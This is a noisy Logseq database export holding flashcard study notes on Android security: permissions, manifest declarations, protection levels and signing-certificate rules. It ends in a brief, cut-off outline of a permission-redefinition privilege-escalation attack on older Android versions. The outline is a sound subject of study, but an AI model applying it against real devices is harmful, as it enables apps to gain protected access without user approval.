easylogseq____&quot;,536871290]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Flogseq____&quot;,350,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Xlogseq____&quot;,37,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Vlogseq____&quot;,57,536871283]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871290]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84392-2704-4310-9016-83e8e39aba31logseq____&quot;,536871283]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Delegation is easy: pass capabilities *at runtime* (via *monitor-controlled channel*)logseq____&quot;,536871315]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Flogseq____&quot;,349,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Xlogseq____&quot;,37,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Vlogseq____&quot;,58,536871293]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,2,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,37,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^Ulogseq____&quot;,38,536871294]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871315]],[logseq____&quot;^15logseq____&quot;,[352,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b843a1-089b-417c-815d-e5b7b3e1de97logseq____&quot;,536871293]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Revocation is hard: possible, but overhead, e.g., bookkeeping via delegation chainslogseq____&quot;,536871364]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Flogseq____&quot;,352,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Xlogseq____&quot;,37,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Vlogseq____&quot;,58,536871318]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,2,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,37,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^Ulogseq____&quot;,38,536871319]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871364]],[logseq____&quot;^15logseq____&quot;,[353,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b843d0-a76d-4bc7-aa53-8c9f7e4a7373logseq____&quot;,536871318]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Klogseq____&quot;,1740129304099,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871373]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^@logseq____&quot;,false,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;permissionslogseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^11logseq____&quot;,logseq____&quot;Permissionslogseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^Blogseq____&quot;,1740215678157,536874659]],[logseq____&quot;^15logseq____&quot;,[354,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-14e9-4c48-b4e0-ef8fa0c80191logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #security-architecturelogseq____&quot;,536871379]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^@logseq____&quot;,false,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Flogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Xlogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Vlogseq____&quot;,354,536871374]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,2,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,38,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Ulogseq____&quot;,354,536871380]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Hlogseq____&quot;,2,536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^Hlogseq____&quot;,38,536873242]],[logseq____&quot;^15logseq____&quot;,[355,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84418-fac8-49bc-95ce-5ee0e9773ff6logseq____&quot;,536871374]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions as *access rights*/*privileges* in Androidlogseq____&apos;s application frameworklogseq____&quot;,536871413]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^@logseq____&quot;,false,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Flogseq____&quot;,355,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Xlogseq____&quot;,354,536871384]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Vlogseq____&quot;,355,536871386]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,2,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,38,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^Ulogseq____&quot;,354,536871387]],[logseq____&quot;^15logseq____&quot;,[357,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844af-cda0-4dae-97f2-f26325145cbclogseq____&quot;,536871384]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;$logseq____&gt; 140$ default permissionslogseq____&quot;,536871432]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^@logseq____&quot;,false,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Flogseq____&quot;,357,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Xlogseq____&quot;,354,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Vlogseq____&quot;,355,536871414]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,2,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,38,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^Ulogseq____&quot;,354,536871415]],[logseq____&quot;^15logseq____&quot;,[358,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844ca-d587-4b3f-9f6d-8348dc7f5a5flogseq____&quot;,536871414]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions are *assigned to sandboxes*, i.e., *UID*slogseq____&quot;,536871460]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^@logseq____&quot;,false,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Flogseq____&quot;,358,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Xlogseq____&quot;,354,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Vlogseq____&quot;,355,536871435]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,2,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,38,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^Ulogseq____&quot;,354,536871436]],[logseq____&quot;^15logseq____&quot;,[359,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844e1-6ea7-46be-bf79-6b778dda531alogseq____&quot;,536871435]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Developers can define custom permissions, e.g., for exportet componentslogseq____&quot;,536871489]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^@logseq____&quot;,false,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Flogseq____&quot;,480,536873242]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Xlogseq____&quot;,354,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Vlogseq____&quot;,355,536871463]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,2,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,38,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^Ulogseq____&quot;,354,536871464]],[logseq____&quot;^15logseq____&quot;,[360,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b844f9-c3e8-4916-9285-05a50b6fb43blogseq____&quot;,536871463]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specified in the [application manifest](((67b84538-73b2-4c51-90af-1b08f4e95071)))logseq____&quot;,536871627]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^@logseq____&quot;,false,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Flogseq____&quot;,360,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Xlogseq____&quot;,354,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Vlogseq____&quot;,355,536871480]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,2,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,38,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,354,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Ulogseq____&quot;,362,536871628]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^Hlogseq____&quot;,362,536873242]],[logseq____&quot;^15logseq____&quot;,[361,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84504-2395-4c0a-abcf-f2e3075f664alogseq____&quot;,536871480]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Permissions\\nid:: 67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,536871596]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871494]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Flogseq____&quot;,92,536871498]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Xlogseq____&quot;,28,536871494]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Vlogseq____&quot;,90,536871498]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,2,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,24,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Ulogseq____&quot;,28,536871495]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;],536876191]],[logseq____&quot;^15logseq____&quot;,[362,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84538-73b2-4c51-90af-1b08f4e95071logseq____&quot;,536871494]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Permissions can be requested, e.g,. `logseq____&lt;uses-permission android:name=\\logseq____&quot;android.permission.READ_CONTACTS\\logseq____&quot;logseq____&gt;logseq____&lt;/uses-permissionlogseq____&gt;`logseq____&quot;,536871533]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Flogseq____&quot;,362,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Xlogseq____&quot;,28,536871501]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Vlogseq____&quot;,362,536871503]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,2,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,24,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^Ulogseq____&quot;,28,536871597]],[logseq____&quot;^15logseq____&quot;,[363,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84541-ab6a-44b9-8b98-7f1252c7d841logseq____&quot;,536871501]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Protect own, exported services via custom permissions (have to be defined in `permission` block and then referenced in the `service` blocklogseq____&quot;,536871584]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Flogseq____&quot;,363,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Xlogseq____&quot;,28,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Vlogseq____&quot;,362,536871529]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,2,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,24,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^Ulogseq____&quot;,28,536871597]],[logseq____&quot;^15logseq____&quot;,[364,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84570-3af3-4d56-bb90-ec44185f1e67logseq____&quot;,536871529]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Protection Levels #card #security-architecturelogseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^@logseq____&quot;,false,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Flogseq____&quot;,355,536871635]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Xlogseq____&quot;,354,536871633]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Vlogseq____&quot;,354,536871635]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,2,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,38,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Ulogseq____&quot;,354,536871645]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Hlogseq____&quot;,2,536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^Hlogseq____&quot;,38,536873242]],[logseq____&quot;^15logseq____&quot;,[367,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8464f-b477-4726-bece-a8be8f7a1a12logseq____&quot;,536871633]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Normal*(default): low-risk permission, i.e., *no danger* to the system integrity or end-user; does not require end-user approvallogseq____&quot;,536871742]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^@logseq____&quot;,false,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Flogseq____&quot;,367,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Xlogseq____&quot;,354,536871644]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Vlogseq____&quot;,367,536871646]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,2,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,38,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^Ulogseq____&quot;,354,536871647]],[logseq____&quot;^15logseq____&quot;,[368,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84659-fba7-4ae7-a7b2-82f8230eb6balogseq____&quot;,536871644]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Dangerous*: Access to *system integrity*/*privacy* *compromising* functions/data (user has to grant approval)logseq____&quot;,536871757]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^@logseq____&quot;,false,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Flogseq____&quot;,368,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Xlogseq____&quot;,354,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Vlogseq____&quot;,367,536871676]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,2,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,38,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^Ulogseq____&quot;,354,536871677]],[logseq____&quot;^15logseq____&quot;,[369,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8469b-9a46-417f-aff3-b05115cd63adlogseq____&quot;,536871676]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Signature*: Requesting and permission defining application have to be signed using the *same developer certificate* (no end-user approval)logseq____&quot;,536871836]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^@logseq____&quot;,false,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Flogseq____&quot;,369,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Xlogseq____&quot;,354,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Vlogseq____&quot;,367,536871760]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,2,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,38,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^Ulogseq____&quot;,354,536871761]],[logseq____&quot;^15logseq____&quot;,[370,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b846de-e2b8-4e3a-80b7-94ae1be32d8elogseq____&quot;,536871760]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Privilege Escalation on Earlier Android Versionslogseq____&quot;,536871921]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^@logseq____&quot;,false,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Flogseq____&quot;,367,536871843]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Xlogseq____&quot;,354,536871837]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Vlogseq____&quot;,354,536871843]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Ulogseq____&quot;,354,536871844]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873242]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^Jlogseq____&quot;,[],536873242]],[logseq____&quot;^15logseq____&quot;,[371,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8472e-0f28-48ec-8c5f-267649818c08logseq____&quot;,536871837]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`knownSigner` flag (logseq____&gt;= Android 12): relaxes signatures to any *known certificate*logseq____&quot;,536871875]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^@logseq____&quot;,false,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Flogseq____&quot;,370,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Xlogseq____&quot;,354,536871847]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Vlogseq____&quot;,370,536871849]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,2,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,38,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^Ulogseq____&quot;,354,536871848]],[logseq____&quot;^15logseq____&quot;,[372,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8480e-36af-4405-9de6-836593925e29logseq____&quot;,536871847]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`knownCerts`attribute refers to explicit signing certifiacelogseq____&quot;,536871906]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^@logseq____&quot;,false,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Flogseq____&quot;,372,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Xlogseq____&quot;,354,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Vlogseq____&quot;,370,536871878]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,2,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,38,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^Ulogseq____&quot;,354,536871879]],[logseq____&quot;^15logseq____&quot;,[373,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84850-e782-4a25-8ff4-9103d1295163logseq____&quot;,536871878]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Signature verification only during installationlogseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^@logseq____&quot;,false,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Flogseq____&quot;,371,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Xlogseq____&quot;,354,536871924]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Vlogseq____&quot;,371,536871926]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^Ulogseq____&quot;,354,536871925]],[logseq____&quot;^15logseq____&quot;,[374,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8491e-2b84-447e-aae2-7caefe1fccd1logseq____&quot;,536871924]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App1 defines \\logseq____&quot;dangerous\\logseq____&quot; permission (same name as signature permission of victim app)logseq____&quot;,536871972]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^@logseq____&quot;,false,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Flogseq____&quot;,374,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Xlogseq____&quot;,354,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Vlogseq____&quot;,371,536871937]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^Ulogseq____&quot;,354,536871938]],[logseq____&quot;^15logseq____&quot;,[375,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8493b-1c1e-418d-9479-27511c45d7b1logseq____&quot;,536871937]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App2 requests this permissionlogseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^@logseq____&quot;,false,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Flogseq____&quot;,375,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Xlogseq____&quot;,354,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Vlogseq____&quot;,371,536871975]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^Ulogseq____&quot;,354,536871976]],[logseq____&quot;^15logseq____&quot;,[376,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8495b-f5fe-4493-b253-d593a603f838logseq____&quot;,536871975]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attacker App1 removes permission definitionlogseq____&quot;,536872001]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^@logseq____&quot;,false,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Flogseq____&quot;,376,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Xlogseq____&quot;,354,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Vlogseq____&quot;,371,536871982]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^Ulogseq____&quot;,354,536871983]],[logseq____&quot;^15logseq____&quot;,[377,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84962-4c2f-4283-8fb6-d51dadc2b5d7logseq____&quot;,536871982]],[logseq____&quot;^15logseq____&quot;,[378,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Install victim 